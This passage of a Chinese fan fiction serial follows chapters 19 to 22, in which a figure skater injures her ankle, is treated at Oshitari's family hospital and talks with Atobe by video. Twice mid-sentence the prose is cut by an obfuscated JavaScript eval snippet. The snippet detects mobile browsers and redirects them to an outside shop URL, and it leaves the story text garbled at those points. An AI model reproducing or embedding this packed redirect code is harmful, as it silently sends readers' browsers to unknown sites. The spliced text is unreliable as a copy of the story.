忍足动作顿了顿,镜片后的眼睛看向迹部,没有反驳,只是微微扯了下嘴角。 比赛继续。迹部丝毫没有因为大比分领先而放松,反而越打越重,越打越快。最终,比分定格在6-0。一场堪称“血洗”的完胜。 迹部站在网前,看着走过来的忍足,伸出手,“步伐和反应需要加强。明天训练前,加练三十组折返跑。” 一副公事公办的意味。 “是,部长。”忍足握住他的手,平静地接受了这个明显加量的惩罚。 部活结束的更衣室,气氛比平时安静许多。忍足靠着储物柜,慢慢喝着运动饮料,额发湿漉漉地贴在额前,显得有些疲惫。 向日几人小心翼翼地围过来。 “侑士,你还好吧?”向日难得语气里带了点真实的同情,“迹部今天……也太猛了。” 忍足放下水瓶,长长呼出一口气,推了推有些滑落的眼镜,脸上又恢复了些许笑意:“啊,算是深刻体会到了部长今天的‘训练热情’。”他顿了顿,目光扫过几人,意有所指,“所以说,有些话题,无论在更衣室还是其他地方,都最好谨言慎行。” 几个人交换了一个了然的眼神。 “绝对是因为那件事……”宍户亮抱着手臂,语气肯定。 “哪件事?”凤有些懵。 “就是中午那件事啊!”向日用气音说,“……反正,迹部绝对是知道了!” “谁知道呢。”忍足拿起自己的东西,准备去冲澡,“也许只是他觉得我最近训练懈怠,需要‘特别关照’一下。又或者,是有些人新账旧账,想一起算算清楚。” 他指的是冲绳换衣服那件事,语气轻松,但话里的意思谁都明白。 “走了。”他离开后,更衣室里安静下来。 窗外,夕阳的余晖给冰冷的储物柜镀上一层暖色。 一切似乎都没有改变。迹部依旧是那个无懈可击的部长和会长,凛依旧是那个专注于冰面的选手。他们之间,依旧是“迹部桑”和“藤原”,保持着恰到好处的距离。 但一场异常激烈的对抗赛,一个针对性极强的惩罚,几句心照不宣的八卦……这些散落的碎片,却让那些未被言明的暗流,在冰帝平静的校园日常里,变得更加清晰。 有些关注,无需宣之于口;有些情绪,尽在球场胜负之间。 20. chapter19 俱乐部里,凛正在进行4Lz的练习。在俄罗斯的短训中,她已经基本摸清了这个跳跃的技巧,掌握了起跳和空中旋转的感觉,但成功率尚未稳定,依旧像一匹难以驯服的野马。今天的几次尝试,她只完全成功了一次,其余几次都因落冰不稳而失败。 又一次助滑,加速,左外刃深深切入冰面,右脚点冰,起跳! 高度足够,转速惊人,四周! 但在身体打开、准备落冰的刹那,冰刀后跟似乎极其不巧地,卡在了一道之前跳跃留下的冰痕里。 一阵钻心的疼痛传来,她瞬间失去平衡,重重摔在冰面上,一时竟无法站起。 ”藤原!”一直紧盯着她联系的佐久间教练脸色骤变,“医疗组!” 候在场边的运动医疗保障团队迅速行动,两名工作人员提着急救箱冲上冰面。他们没有贸然移动凛,而是迅速查看了她的意识、呼吸,并小心地检查了受伤的脚踝。 “踝关节,疑似骨折或韧带损伤,先冰敷固定,立即送医进行详细检查!”为首的医生快速判断,语气严峻。对于花滑选手,尤其是赛季中的顶尖选手,任何脚踝伤势都可能是致命的。冰袋被小心地敷在迅速肿胀起来的脚踝周围,专业的充气夹板被用来进行临时固定,以最大限度地避免二次伤害。 「忍足综合病院」 忍足侑士刚给父亲送完文件,就在走廊看见了被轮椅推进来的藤原凛。她右脚裹着冰袋和夹板,低着头,看不真切表情。但教练在一旁神色焦急。 他镜片后的目光一凝,立刻拿出手机,快速给迹部景吾发去了一条信息: 「迹部,我在忍足医院。藤原刚被送入运动损伤科,疑似右脚踝受伤,具体情况不明。我现在过去确认。」 发完消息,他快步跟了上去,停在检查室外不远处,安静地观察。 检查室的门很快开了,医生走出来和教练低声交谈。忍足听不真切,但能看见教练重重松了一口气,随即又皱紧眉头。 看来不是最坏的情况,但肯定也不乐观。 他想了想,拨通了父亲的电话。 “爸,有件事麻烦您。”忍足的声音平稳,“我同班的一位同学,藤原凛,职业花滑选手,训练中右脚踝受伤,刚送到我们医院运动损伤科。伤情可能不复杂,但对她至关重要,赛季关键期。能不能请您过去看一下,给个确切的诊断?” 电话那头,忍足父亲沉吟了一秒。儿子很少为这种事直接找他。 “职业选手……你同学?关系不错?”言语间颇有点八卦的意思。 “是迹部的世交。”忍足言简意赅地点明关键。 忍足父亲明白了,“我知道了,这就过去。” 挂断电话,忍足靠在墙边等待。不到五分钟,身着白大褂、气质儒雅的忍足父亲便出现在了走廊。主治医师见到院长亲至,明显愣了一下,连忙上前汇报。 “院长,这位患者是职业花滑选手,初步判断疑似胫骨远端骨裂伴扭伤,刚拍完X光片,具体还要等详细报告和阅片……” “片子给我看看。”忍足院长温和地打断,接过护士递来的新鲜出炉的X光片,对着灯光仔细查看;然后又走进检查室,亲自查看了一下凛肿胀的脚踝,询问了受伤时的感觉。 检查室里,凛看着这位突然出现的、明显位阶很高的医生,以及医生身后跟着的忍足侑士,有些茫然。 “我父亲。”忍足简单介绍。 “……您好。”凛低头问好,不知道是该跟着同学的关系称呼叔叔,还是按患者关系称呼医生。 “别紧张,X光显示,是胫骨远端的轻微骨裂,没有移位。运气挺好,韧带没有受到波及。”忍足父亲声音平稳,“需要打石膏固定,严格制动两周;四周内禁止上冰。只要遵照康复计划,完全恢复后不会影响你的职业生涯。” 凛一直紧绷的心,在听到不影响职业生涯时,终于重重落回实处,“谢谢您,忍足医生。” “好好休息,年轻人恢复快。”忍足父亲温和地笑了笑,走出检查室,对等在外面的教练和主治医师交代了详细的治疗和康复意见。 忍足父亲离开后,检查室里暂时只剩下凛、忍足,以及一位正在准备石膏材料的护士。 凛坐在检查床上,右脚被小心地垫高,肿胀已经比刚受伤时明显。 “谢谢,忍足桑。”她声音有些干涩,“麻烦你父亲了,真是不好意思。” 忍足推了推眼镜,语气是一贯的平稳,听不出太多情绪:“没什么,举手之劳。院长亲自确认一下,大家都能放心。”他顿了顿,目光扫过她的脚踝,“不过,接下来至少两周不能动,要做好心理准备。” “嗯。”凛低下头,看着自己受伤的脚。检查结果比预想的乐观,只是轻微骨裂,不是严重骨折,不影响韧带。但凛在那一瞬间的放松过后,想起忍足父亲那句“一个月内禁止上冰”的嘱咐,心又沉了下去。 离12月中旬的总决赛,只有不到两个月的时间。她本来计划在这段时间把四周跳,特别是4Lz好好练一下,在总决赛上试试水,也为世青赛做准备。但这次受伤直接打乱了她整个计划。四周不上冰,对紧随而来的比赛而言,是致命的。 比起疼痛,更让她难以忍受的是这种骤然被迫停止的无力感。 忍足安静地看了她几秒。平时在冰场上叱咤风云、冷静锐利的藤原凛,此刻看起来难得地有些脆弱和迷茫。 他想了想,开口道:“医生说了,预后很好。现在医疗和康复技术都很发达,只要按部就班,不会影响你之后的比赛。关键是,现在必须彻底休息,任何心急都有可能让恢复期变长,得不偿失。” 这话说得冷静客观,却切中了凛此刻最可能出现的心理——急于求成。她微微一怔,抬起头看向忍足。 忍足推了推眼镜,继续道:“理论上讲,骨骼愈合的过程,遵循着沃尔夫定律——骨骼受到力学刺激影响,在需要的地方生长,在不需要的地方吸收。完全愈合后,受刺激的区域会变得比以前更粗壮一些。” 他话锋一转,目光锐利地看向凛,“但是,这个更粗壮的前提,是完美的复位和充足的愈合时间。如果愈合过程中存在哪怕微小的错位,或者过早承受负荷导致愈合中断,骨骼就会按照错误的方向生长。” “这意味着什么?意味着你的力线改变。”他顿了顿,列举着可能发生的后果:“你的起跳、落冰,整个力量传导都会出问题。可能是慢性疼痛、关节稳定性下降,也可能会出现因为代偿而导致其他部位的连锁损伤,比如膝盖、腰椎。更可怕的是,这个曾经骨折过的地方,会成为一个永久的薄弱点,未来发生应力性骨折的风险会呈几何级数增加。” “我在这里,见过不止一个天才选手。他们有的为了全国大赛,有的为了奥运资格,选择了冒险提前复出。其中有人甚至真的撑完了一场重要比赛,拿到了不错的成绩。”他走到窗边,看着楼下的小花园,像是在回忆什么。 “但后来呢?有的人因随之而来的代偿性损伤,状态断崖式下滑,最终泯然众人。更有甚者,在一次看似普通的训练中,旧伤处发生毁灭性的二次骨折,职业生涯直接被画上了休止符。” 他直视着凛的眼睛,声音依旧慵懒,却问了一个对她而言最致命的问题:“藤原桑,你想要的是什么?是一次总决赛的奖牌,还是一个漫长到足以让你跳遍所有你想跳的四周跳,直到你心甘情愿自己离开冰面的……完整的职业生涯?” 答案不言而喻。 忍足的话像一盆冰水,浇熄了凛心底那簇因急躁而蹿起的火苗。凛看着他,没说话。良久,只是长长地叹了口气。 “迹部应该也快到了。”他语气平淡地转开话头,听不出是随口一提还是别有深意,“他接到消息了。” 几乎是话音刚落,检查室虚掩的门就被从外面轻轻推开。 迹部景吾站在门口,脸上没什么特别的表情,薄唇微抿,但那双眸子在扫过她略显苍白疲惫的脸时,微微眯了一下。 “情况?”他先转向忍足,声音平稳。 忍足言简意赅地介绍,“父亲亲自看过了,问题不大,预后良好。但需要严格制动两周,四周内禁止上冰,康复流程必须循序渐进。”他重复了一遍关键信息,清晰明了。 迹部听完,眼底深处那丝紧绷似乎稍微松动了一些。 “明白了。”他看向忍足,“麻烦你了,替我谢谢叔叔。” “客气。”忍足推了推眼镜,很识趣地说,“你们聊,我出去看看手续。” 他转身离开,体贴地带上了门。 “还好?”迹部问,声音不高。 凛低着头,眼睫垂着,没看他,声音有些低:“……不太好。” 迹部看着她这副全然没了平日锐气的模样,眉头蹙了一下,“这么消沉,不像你。” 凛扯了扯嘴角,露出一丝苦笑,终于抬头看向他,眼底是毫不掩饰的烦躁:“2周制动,4周不能上冰,我能好到哪去。” 总决赛近在眼前,却被迫退出,这种无力感几乎将她淹没。 迹部沉默了一瞬,冰蓝色的眸子注视着她,“一场比赛而已,定义不了什么。你的职业生涯还很长……” “我知道——”他的话没说完,就被凛打断,迹部愣了一下。 道理她都懂,忍足刚才也说过类似的话。但懂和能平静的接受,是两回事。 可能觉得刚才的语气有点太生硬,凛抿了抿嘴唇,别开视线,又轻声说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016647|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍,“我知道。” 短暂的沉默在两人之间弥漫。医院特有的寂静和消毒水气味包裹着他们。 过了一会儿,迹部再次开口,声音比刚才低了些:“疼吗?” 这个问题比之前的更私密,触及了她此刻最直接的感受。凛的眼睫颤了颤,没有立刻回答,似乎在衡量是逞强还是坦白。 最终,她只是轻轻摇了摇头,含糊道:“……好多了。” 没那么痛了,但那种挫败和茫然带来的“疼痛”,并未缓解。 这时,主治医生带着护士走了进来,准备打石膏。迹部见状,无声地向旁边退开一步,让出空间,但目光始终没有离开过凛。 冰冷的石膏绷带一层层缠绕上去,固定住她的脚踝和小腿,也仿佛将她躁动的心暂时禁锢。 石膏打好,护士推来轮椅,小心地将凛扶上去坐好。厚重的石膏腿被妥帖地安置在踏板上。 迹部重新走上前,“车在楼下,我送你回去。” ———— 医院的消毒水气味还未完全散去,车已经平稳地停在藤原家宅邸门前。 车门打开,凛整个身体转向外面,没受伤的左脚先落地,她扶着车门,撑着身体站起来。 正准备尝试单脚跳着移动,一只手臂已经伸到在她面前。 “扶着。”迹部的声音在暮色里显得低沉,没有任何商量的余地,“跳着走,不怕再次受伤?” 凛抬眼,对上他微微垂下的视线。他的表情平静,甚至带着点惯常的挑剔。她迟疑了一瞬,将手搭了上去,握住他的手臂。指尖触到的布料微凉,但其下传递来的支撑力坚实而稳定。 “谢谢。”她低声道。 “啊嗯。”他简短地应了一声,调整了一下自己的站位,更靠近她受伤的一侧,同时小心地保持着一个既能支撑她大部分重量、又不会让她感到被完全挟制的距离。 从车门到玄关的一段路,走得异常缓慢。迹部完全配合着她的节奏,每一步都很稳。 进了玄关,面对通往二楼的楼梯,凛停下了。 迹部也停下了。他没有说话,目光在那段楼梯上停留了两秒,又落回她打着石膏的脚上。 “我……”凛刚想开口说“我可以坐着挪上去”,就见他向前半步,微微侧身,将支撑的手臂调整到了更便于她发力的角度,同时,他的另一只手,虚虚地护在了她身体另一侧的后方——一个防止她后仰摔倒的保护性姿态,但掌心悬空,并未真正接触。 “一层一层来。”他的声音就在她耳侧上方,气息平稳,“重心移到我这边,慢一点。” 楼梯的宽度两人并肩时略显拥挤。他们的距离在不得不被进一步拉近。凛能闻到他身上混合着玫瑰与沉香的味道,一种木质玫瑰调,与夏天时清爽的柑橘玫瑰调不一样。她的手臂与他相贴的部分,温热感愈发清晰。他走在靠墙一侧,身体微微倾向她,形成一个无形的屏障。 终于到了房间,凛借着最后一点支撑力,单脚跳到了床边坐下,稳住了身体。 迹部的手臂随之自然垂下,但并未立刻收回。他的目光快速扫过室内——书桌、冰鞋保养架、柜子上的帕丁顿小熊,最后回到她脸上。 “需要什么放在手边?”他问,语气恢复了些许平时的掌控感,“水?书?还是那个,”他瞥了一眼小熊,“安慰品?” 凛摇头:“不用,都够得到。” “嗯。”他停顿片刻,像是确认她真的已经安稳,“好好休息。” 他转身准备离开,身影在门口的光晕里勾勒出修长的轮廓。 “Alex。”凛忽然叫住他。 他回头。 “今天,谢谢你。” “嗯。”迹部看了她一眼,随即恢复了惯常的姿态,“走了。” 凛靠到床头,慢慢呼出一口气。楼梯间的寂静、缓慢的步伐、他专注的侧脸,以及始终与她保持着一线之隔、却无比可靠的身体屏障……所有细节,在这一刻清晰回放。 他们都清楚,“抱着”其实是对她脚踝而言,最稳定、最安全的方案。在世交的试探过后,他如果要以这种方式来戳破她的伪装,这或许是最好的机会。 但迹部没有。他没有以高效或务实的名义强行提供,甚至未曾向她开口提及这个方案。他看穿了她的消沉,也读懂了她的逞强,于是连一个可能让她动摇的选项,都替她彻底屏蔽了。这是精准的体贴,也是极度的骄傲。 而她的“谢谢”,既是谢他提供了帮助,也是谢他没有在她脆弱的时候,对她进行情感上的施压。 凛的目光落在自己打着石膏的脚上,半晌,轻轻摇了摇头。 这一路纯粹而稳定的支撑,像是在对她说:我们来日方长。 21. chapter20 养伤的日子没有想象中难熬。 最初的二十四小时,凛还是一副提不起劲的模样,整个人被一种挥之不去的消沉和烦躁笼罩。石膏困住了她的脚踝,似乎也困住了她的心。 但是很快,属于职业选手的冷静和胜负欲开始回归。修复时间表虽然没有任何谈判的余地,但如果进度理想,4周后她能顺利回归冰面的话,也许——她不需要退赛。凛盘算着,剩下的准备时间虽然紧张,但恢复竞技状态也不是完全没可能。毕竟,状态这种事,谁说的准呢。她开始计划这两周绝对制动期的日程安排。 她向学校请了两周长假,课业完全交给家庭教师来负责。人是迹部推荐的,水准果然不同。一对一的辅导,效率高得惊人。英文和数学本就是她擅长的领域,知识点梳理得飞快;以前在课堂上听得云里雾里的古文,也好像开始开窍了。听着老师的讲解,那些佶屈聱牙的句子竟也渐渐透出意思来。这种纯粹用头脑攻克障碍的感觉,意外地带来一种慰藉。 下午的时间则属于身体。她在与卧室联通的小型训练室里进行上肢和核心力量训练以及心肺功能的维持。肌肉酸胀,很累,但这是她目前唯一能完全掌控的疲惫,这种疲惫的感觉反而让她觉得踏实。之后是康复作业,严格根据医生和康复师制定的康复计划进行练习,过程枯燥,但能防止肌肉过度萎缩维持,神经控制能力,为以后恢复保留基础。 无法上冰的时间,她用来进行复盘和“意象训练”。 她翻出了这个赛季的比赛录像和四周跳的训练视频,用播放器的慢放功能,开始一帧帧复盘每一个细节:起跳前刀刃的角度是否正确,落冰打开的时机是否恰当,旋转的周数和姿态转换是否达到了技术手册的要求,以及节目编排上哪里还有进一步改进的空间……笔记本上写满她密密麻麻的分析和修正思路。 意象训练就是在脑海内模拟上冰,演练整套节目。这听起来或许有些脱离现实,像中二少年幻想自己拯救世界。但它的有效性确实经过了科学验证,能够有效保持神经通路,防止技术感觉流失。同时,在意识中反复地、成功地完成每一个动作,对心理层面也会产生正面作用,类似于“吸引力法则”,或者说得玄妙点,是一种心念的“显化”。 她还考虑了下赛季的节目选曲。 之前神谷给她的《罗密欧与朱丽叶》改编思路,她也仔细研究了。不得不说,神谷在音乐上确实有天赋,他提供的几个改编思路都很有意思,其中有一个试图从朱丽叶的内心挣扎切入,音乐选段也避开了最泛滥的部分,能改编出不错一套的节目。 下赛季就是奥运赛季了。《罗密欧与朱丽叶》和《波罗莱》《红磨坊》一样,都算是奥运赛季的热门题材。故事动人,音乐大气,经典,不出错。 但,问题也在这—— 太经典了。经典到旋律一响,观众脑海里可能就会自动浮现某些选手演绎的版本。 她不是没有勇气挑战经典,只是……有点不想凑这个热闹。这个念头有点任性,却又无比真实。她想要的不是另一个精妙的诠释,而是一个完全属于“藤原凛”的表达,一个能让她从骨子里感到颤栗,觉得非此不可的声音。 而罗朱,显然不是。 选曲本子被她翻来覆去,旁边列出了好几首风格迥异的备选,内心仍在拉扯。半晌,她合上文件夹,轻轻叹了口气,将视线投向窗外,试图让有些发胀的眼睛休息一下。 窗外是那棵有些年头的银杏树。秋意渐浓,银杏树的叶片已开始变色,从中心的翠绿慢慢晕染成边缘的金黄,在午后偏斜的阳光下,像一副精心调色的油画。风一吹,叶子轻轻颤动,美得让人失语。但在这一片渐变的黄绿之间,吸引她的目光确是另一个存在。 一只乌鸦。 它停在一根伸展的枝条上,与秋日午后那种慵懒温暖的氛围格格不入。黑色的羽毛在光线的折射下,流转着一种暗蓝色的金属光泽。而它的眼睛,不是乌鸦常见的深褐或黑色,瞳孔是黑的,但虹膜却是一种极其纯粹的宝蓝色,像两颗蓝宝石,正冷静地俯瞰着庭院。 这眼神,这姿态,这种居高临下的审视感…… 一个身影毫无预兆地撞进她的脑海——迹部景吾。 这个联想如此突兀,让她自己都愣了一下。但好像又很贴切,和他在球场上俯瞰一切的神情如出一辙,包括,也是蓝色的眼睛。 她捞过手机,调整焦距,拍下枝叶间那位“不速之客”。 秋日的暖色调背景,更反衬出那抹黑的纯粹与蓝的锐利。 她盯着照片看了几秒,手指比思绪更快地行动,点开了那个最近对话频率莫名增加的联络人,选中照片,发送。 指尖在输入框上悬停了一瞬,最终只敲下了两个字: 「稀有。」 图片显示“已读”的下一秒,视频通话的邀请界面弹了出来。 凛盯着屏幕上“Alex”的名字愣了几秒。 他们以前从不视频。这种隔着屏幕“面对面”的方式,在彼此心照不宣的暧昧期里,莫名有种打破安全距离的亲密感。 犹豫片刻,她还是按下了接听。 迹部那张无可挑剔的脸出现在画面里,背景似乎是集训营的休息室,略显嘈杂。 他微微挑眉,看着屏幕这边她略显怔忪的表情。 “啊嗯?”他率先开口,语调是一贯的张扬,“养伤生活已经无聊到开始涉足鸟类生态观察了?” “只是刚好看到,”她凛把手机镜头翻转,对准窗外——那只乌鸦还没走,“这个眼睛的颜色,很少见。” 迹部瞥了一眼她示意的大致方向,“虹膜异色,罕见的遗传变异。色素细胞分布异常而已。” “不过,把这种概率性的缺陷,和本大爷相提并论——” 他话没说完,但意思很明显。 “缺陷也许是另一种完美?”凛把镜头转回,“重点是稀有。都是限量版,就不必分个高低贵贱了吧?” 迹部看了她一眼,“勉强算是你在恭维。” “……”凛有点被他气笑,“你的理解能力才是‘稀有’的级别。” “哼。” “你石膏上,画了什么东西?”迹部没再接她的话茬,话题跳跃得毫无征兆。 这话问的凛一怔。 她石膏上画了一片涂鸦,刚开始心情烦躁的时候画的。可能刚才转镜头的时候不小心入画了。 她下意识地想缩一下腿,又觉得这样好像有点心虚。 “随便画的。”反正已经被看到了,凛干脆把镜头对准了她腿上的石膏。 石膏上的图案,上下风格截然不同,甚至可以称得上泾渭分明。 靠近膝盖一侧,是用尺子比着画下的整齐的小方格。两排,每排七个,每个格子里都用黑笔写着日期——是她制动期的每一天。其中四个已经被鲜红的“?”无情覆盖。 然而,靠近脚踝的一片区域,就是另一番景象了。凌乱、锋利、充满情绪。有一片黑色红色交织的抽样涂鸦,像是黑暗的入侵,又像是愤怒的火焰。旁边是一只眼睛,线条凌厉、瞳孔暗红,正冷冷地 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句子不长,但显然不是“Verdammt”那种简单的咒骂。 “……什么意思?”凛一脸茫然。她对德语的认知,只限于“Guten Tag”(你好)、“Auf Wiedersehen”(再见)和“Verdammt”这类词。 “只会骂人的话?” 他脸上没有过多表情,但凛从那细微的挑眉动作里,莫名读出了一丝揶揄。 “只会骂人的话。”凛回他,有点破罐子破摔的意思,“所以,能翻译了吗,迹部老师?” “本大爷可没兴趣当翻译。”迹部身体微微后靠,显然不打算解释。 凛被他干脆的拒绝噎了一下。 她投降式地摊摊手,“Fine, Your Majesty.”(行,陛下,您说什么就是什么) “下次发泄的时候,画得精细点,这个。”迹部用下巴示意了一下,“刀齿都画歪了,太不专业。” 凛愣了一下,看向那片涂鸦。那是一个很小的冰鞋轮廓,混在各种语言的咒骂之间。图案有点潦草,有点歪,是凛在情绪乱流中无意识画的。很小,她都快忘了还画过这个,到没想到迹部注意到了。 “……你也太挑了。” 她脱口而出。 迹部对她的吐槽不置可否,只是勾了下嘴角。 “去训练了,明天聊。” 视频通话干脆利落地被挂断。 屏幕暗下去,映出凛自己的脸。 窗外,银杏叶在风里沙沙作响,那只乌鸦不知道什么时候已经飞走了。 她看向腿上的石膏。那片写满愤怒和混乱的战场中央,那个被某人挑剔“画歪了刀齿”的冰鞋图案,忽然变得清晰起来。 凛轻轻笑了下,拿起手机,给这片涂鸦拍了张照。 然后,她摸出那支油性马克笔,笔尖悬在石膏上,停在那个歪斜的冰鞋轮廓旁。 停顿了几秒。 最终,她没有去修改那只“画歪了刀齿”的冰鞋。 而是提起笔,在那冰鞋图案的旁边,勾勒了一片银杏叶。叶脉清晰,边缘带着一点自然的卷曲,仿佛刚从窗外那棵树上飘落,恰好停在了她的伤痕与愤怒之间。 画完,她端详了片刻,才放下笔。 石膏上,黑色的裂痕、暗红的眼神、多语种的咒骂、歪斜的冰鞋,与这片新新出现的叶片,形成了一种奇异而和谐的共存。 像一场暴风雨后,落在废墟上的第一缕光。 22. chapter21 U-17世界杯代表队最终名单确认的那晚,视频通话再次连接。迹部那边似乎刚结束训练或会议,灰紫色的发梢还带着湿气,他穿着简单的训练服,背景是基地宿舍简洁的线条。 “恢复得怎么样?”他问,目光落在她已拆掉石膏,更换了支具的腿上。 凛靠在床头,房间里只亮着一盏暖黄的阅读灯。她调整了一下位置,把右脚架在一堆枕头上。这是一个下意识的习惯,能够有效地减少伤侧的充血和肿胀,更舒服,而且能改善血液循环、促进愈合。她现在的每一分钟、每一个动作,都在为重返冰面做准备。 “恢复进度还可以,医生说明天开始可以增加一些无负重的关节活动度训练。如果骨痂形成良好,一周后可以尝试水中步行。”凛汇报着自己的恢复情况,接着叹了口气,“不过离真正上冰……还早。” 他嗯了一声,“不要急躁,按医生的进度来。” 这时,视频那头传来敲门声,一个声音响起:“迹部,明天上午九点,会议室集合,确定决赛出场顺序,请准时参加。” “知道了。”迹部头也没回地应道,声音平静无波。 “That''s awesome! Congrats!(厉害啊,祝贺!)”凛笑起来,语气轻快,但很真诚。 然而,屏幕里的迹部反应平淡,“啊嗯。” 不对劲。凛敏锐地捕捉到他情绪的反常。 以迹部的性格,此刻难道不该是意气风发地宣告“胜利属于本大爷”吗? “You don''t seem excited.(你看起来……并不兴奋?)”她收了笑意,微微前倾身体,试图看清他屏幕后的眼神,“I thought this was what you''ve been working for?(这不是你一直在争取的吗?)” 迹部沉默了片刻。屏幕那端很安静,静得仿佛能听到他的呼吸声。半晌,他才开口,声音比平时低沉了些:“因为,不是以本大爷预想的方式入选的。” 凛立刻明白了。决赛名单的确定,可能有故事。或许是教练组的权衡,或许是某些规则外的考量。总之,虽然入选是他想要的结果,但,入选的理由很难让他认为这是种胜利或者荣耀。 她等了一会,见迹部没有继续解释的意思,想了想,开口道: “I don''t know what''s going on,but if this were my chance, I wouldn''t let it go.”(虽然不知道有什么故事,不过,如果换作是我,我不会放弃。) 视频里,迹部似乎极轻地动了一下眉梢。他看着凛,目光像是要穿透屏幕,分析她每个细微的表情变化。 “I''m listening.”(我在听。) 凛没理会他这种带点审视的姿态。 “我最近养伤无聊,看了一部美剧。”她开始讲述,关于一个家庭主妇在丈夫出轨后重返职场追求自我的故事。“她努力工作了四年,PK掉了她的竞争对手晋升为律所合伙人。在她的晋升派对上,她偶然发现,之所以是她获得了晋升机会,是因为她身后有一个州长丈夫。甚至她后来还发现,她能够在离开职场8年后顺利重返,也是源于学生时代爱慕她的老同学——现在是这家律所的冠名合伙人的暗中相助。她当时觉得天都塌了,觉得自己的努力全被否定了,连晋升庆祝派对都没准备去。” 迹部不知何时换了个姿势,手肘支在桌上,十指轻轻交叠抵在下颌前。这是一个经典的“倾听与评判”姿势。 “然后,律所的另一位女性冠名合伙人找到她,告诉她,自己当年被晋升,也只是因为律所当时急需一位女性合伙人,来改善原来的男合伙人陷入性骚扰绯闻的形象。而她的年龄、经验都正好合适。”凛的声音很平静。 “这位冠名合伙人对女主说:‘When the door that you have been knocking at finally swings open, you don''t ask why, you run through。No one is here to make itfortable for you,no one is here to appreciate your moping,because what is given can quickly be taken away.’”(当那扇你敲了许久的门终于打开时,冲进去,别问为什么。没人有义务让你舒服,也没人有闲心欣赏你的消沉。因为给予的一切,随时都能收回。) 凛看着屏幕里迹部的脸,继续道:“你知道,全日青之后,有赞助商找上我,提供了一份非常优厚的合同。”她简单描述了那近乎慷慨的条件,“我有时候会想,他们为什么愿意给我这样一个刚在国内展露头角的新人这么优渥的合同?Why me? Why not somebody else?” “仅仅因为我有四周跳吗?”她反问,但显然已经有答案,并不需要迹部回答。 “我的能力、潜力当然是一部分,他们看好我能够有更多突破,值得他们投资。但仅此而已吗?Don''t be naive.(别天真了)“ 凛说着,甚至笑了笑。 “My face, my pedigree, and… whatever this is between us. It all adds up. To them, I''m not just a candidate; I''m an asset. I was chosen because of all these.”(看看我这张混血的脸,看看藤原这个姓氏,还有我们之间这层……姑且称作关系吧。所有这些拼在一起,是个多好的故事?对他们来说,我哪是个候选人,我是一笔稳赚不赔的买卖。)” 这是一套完美的商业逻辑,也是最讽刺和最残酷的事实。但她讲述的声音很平静,平静到,好像“资产”这个词不是在说她自己一般。 “所以……我该拒绝吗?No.” 凛的答案清晰明确。 她直视着迹部的眼睛,声音带着一种超越年龄的通透:“Everything that makes me ‘me’ got me there. It''s my name on that list. That has to mean som ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016649|194210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ething. “她顿了顿,“And I know what I''m fighting for. Their choice changes nothing — not me; not now, not ever."(“所有的一切都是我。我之所以能站在那里,也正是因为这一切。名单上写的是我的名字,这本身就是意义。”她顿了顿,“更何况,我深知自己在为何而战。他们的选择,改变不了我分毫——此刻不能,永远不能。”) 迹部这次是真的有些震动了。凛的这番话,已经完全超出了他最初的预期。他预想中的说服,可能是利弊分析、情绪鼓励或共同抱怨。但凛给出的,是一套完整、坚固的自我哲学理论。她不是在说教,而是在分享她的世界观——一个同样被天赋、努力以及天赋与努力之外的因素所塑造的,真实而复杂的世界。她甚至没有试图改变任何事,只是彻底定义了“我”。这种不解释、不辩护、只宣告的姿态,像是对他进行了一次认知轰炸。 迹部长久的、沉默的凝视着她,目光比之前任何一次都更深、更复杂。不再是最初带点审视的眼神,而是试图消化和确认眼前这个人。 他像是在今天才真正认识了她。 “Now the door is open, Alex.” 凛看着迹部,一字一句,无比认真,“what is your choice?(现在这扇门开了,你的选择会是什么呢?)” ——是啊,本大爷到底在犹豫什么? 凛那句“我深知为何而战”,就像一面镜子。她越是坚定、清晰、不可撼动,就越是映衬出他自己因入选方式而产生的犹豫和动摇有多么不“迹部景吾”。她的存在本身,似乎就是一种无声的诘问和鞭策。 “By the way,“ 凛的表情褪去了刚才的平静和认真,换上了点狡黠,“in case you don''t know, you are breathtaking on the court.(说真的,球场上的你真的是无与伦比的耀眼。)” 在那些自我剖析式的分享之后,这突如其来的、直白的赞美,像一道光,冲散了迹部眉宇间最后一丝沉郁。他愣了一下,随即,嘴角无法抑制地扬起。他标志性的、自信到近乎嚣张的笑容。 “啊嗯?这还用你说?”他轻笑,眼底重新燃起熟悉的、耀眼的锋芒,“本大爷当然是最华丽的。” 次日的会议室。 教练组宣布,考虑到对手的特点和整体战略,决定由迹部出任至关重要的单打三时,所有人都下意识地将目光投向他,带着各种复杂的情绪——有期待,有审视,或许还有一丝等着看他反应的微妙心态。 然而,迹部只是平静地颔首,目光扫过在场的每一位教练和队友,声音清晰而沉稳:“啊嗯,单打三,交给本大爷。” 没有质疑,没有不满,只有理所当然的承接和必胜的信念。那份异常的平静,让熟悉他的人都暗自诧异。 众人心中不免感慨,这个骄傲到骨子里的少年,似乎在一夜之间,有某种东西沉淀了下来,变得更加内敛,也更具力量。 不论是因为规则还是特殊照顾,他会用战斗来证明自己配得上这个位置。 23. chapter22 一个月的禁冰期终于结束,但重返冰场并不意味着束缚的解除。医生和教练佐久间为她制定了严格的回归计划:每日上冰时间受限,第一周绝对禁止跳跃,第二周可视情况尝试两周跳,三周及四周跳则被明令禁止。 